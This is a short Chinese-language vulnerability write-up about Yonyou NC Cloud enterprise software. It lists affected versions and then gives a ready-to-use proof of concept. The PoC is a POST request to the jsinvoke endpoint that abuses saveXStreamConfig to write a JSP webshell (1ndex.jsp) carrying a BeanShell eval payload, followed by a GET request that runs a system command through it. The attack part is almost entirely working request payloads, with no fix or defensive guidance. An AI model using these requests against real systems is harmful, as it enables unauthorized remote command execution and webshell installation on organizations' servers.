0x01前言
用友NC Cloud大型企业数字化平台,深度应用新一代数字智能技术,完全基于云原生架构,打造开放、互联、融合、智能的一体化云平台,聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向,提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解决方案,帮助大型企业全面落地数智化。
0x02影响版本
NC63、NC633、NC65 NC Cloud1903、NC Cloud1909 NC Cloud2005、NC Cloud2105、NC Cloud2111
0x03漏洞复现
poc:
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1 Host: 192.168.0.11:8089 Content-Length: 249 Accept: */* {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/1ndex.jsp"]}
发送该请求,如下利用成功!
访问1ndex.jsp,命令执行成功!
GET /1ndex.jsp?error=bsh.Interpreter&cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec(%22whoami%22).getInputStream()) HTTP/1.1 Host: 192.168.0.11:8089 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close